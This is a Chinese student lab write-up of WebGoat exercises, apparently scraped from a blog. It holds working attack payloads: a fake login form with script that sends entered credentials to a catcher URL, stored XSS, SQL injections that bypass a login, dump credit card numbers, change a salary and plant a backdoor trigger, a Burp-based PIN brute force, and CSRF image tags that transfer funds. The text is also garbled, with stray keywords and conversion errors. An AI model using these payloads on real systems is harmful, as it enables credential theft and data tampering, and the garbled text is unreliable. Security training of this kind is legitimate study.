此次實驗在WebGoat裏作了SQL注入的10個相關實踐,從上週學習的簡單經過文本框中輸入字符串構造SQL語句進行SQL注入到在文本框中提交文本或者發送郵件作XSS攻擊,還有利用;郵件發送含有惡意URL請求的HTML對象來利用用戶的COOKIE作非法操做javascript
- 原理:SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,經過執行SQL語句進而執行攻擊者所要的操做,使非法數據侵入系統。 - 防護: 1.對用戶的輸入進行校驗,能夠經過正則表達式,雙"-"進行轉換等。 2.不要使用動態拼裝sql,可使用參數化的sql或者直接使用存儲過程進行數據查詢存取。 3.不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接。 4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。 5.應用的異常信息應該給出儘量少的提示。 6.採起輔助軟件或網站平臺來檢測sql注入。
- 原理:XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼(如,HTML代碼和客戶端腳本)植入到提供給其它用戶使用的頁面中,攻擊者能夠利用XSS漏洞旁路掉訪問控制。 - 防護: 1.特徵匹配方式,在全部提交的信息中都進行匹配檢查,通常會對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定爲XSS攻擊。 2.對全部用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、採用適當格式、採用所預期的字符的內容提交,對其餘的一概過濾。 3.實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
java -jar webgoat-container-7.0.1-war-exec.jar
localhost:8080/WebGoat
,登陸</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
code
框中輸入```alert("I am 20155207")題目要求:要建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容。title
裏隨便輸入,而後在message
中輸入一串代碼,好比:<script>alert("5207!");</script>
提交後,再次點擊剛剛建立的帖子,成功彈出窗口,說明攻擊成功station
字段注入特徵字符,以組合成新的SQL語句,SELECT * FROM weather_data WHERE station = [station]
,要得到全部的天氣數據,就在station
中的任意一個值後面加入一個1=1
,因爲1=1
爲永真式,選擇所修改的value
所指向的城市,就能夠獲得全部的天氣。題目要求:使用字符串SQL注入在沒有正確密碼的狀況下登陸帳號boss。java
在密碼欄中輸入' or 1=1
--進行SQL注入
,可是登陸失敗。web
查看源代碼,去掉對輸入長度的限制,登陸成功。正則表達式
larry
,瀏覽其BOSS
的帳戶信息。首先咱們用上一題的辦法登陸Larry
的帳號!在密碼框裏輸入' or 1=1 --
,登陸後發現咱們只能看見Larry
一我的的工資信息。ViewProfile.
在網頁代碼中分析一下這個按鈕,發現這個地方是以員工ID
做爲索引傳遞參數的,咱們要達到經過Larry
來瀏覽老闆帳戶信息的目的,把其中的value
值改成101 or 1=1 order by salary desc --
,這樣老闆的信息就會被排到第一個:這個表單容許使用者查詢他們的信用卡號,使用SQL注入
讓全部的信用卡號都看得見。sql
咱們構造一個永真式「1」,那麼無論前面的WHERE
是否成立都能執行,因此構造語句'or 1='1
,成功獲得了所有的信用卡號。數據庫
pins
表中值pin
的內容,行號cc_number=1111222233334444
,是一個int型
的數據。BurpSuite
進行攔截,攔截後action--send to intruder
進行暴力破解,使用sniper模式
,選擇10000
進行數字爆破(選擇前先clear將默認的爆破點清除),從1到10000,步長爲1。能夠發現2364
的報文長度明顯和其餘不同,那這個值就應該就是2364:101; update employee set salary=10000
成功將該用戶的工資變成10000
,攻擊成功:101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155207@hackme.com' WHERE userid = NEW.userid
<img src='attack?Screen=278&menu=900&transFunds=100000' width='1', height='1'>
,其中scr=278,menu=900
,點擊就會執行<img src='attack?Screen=268&menu=900&transFunds=CONFIRM' width='1', height='1'>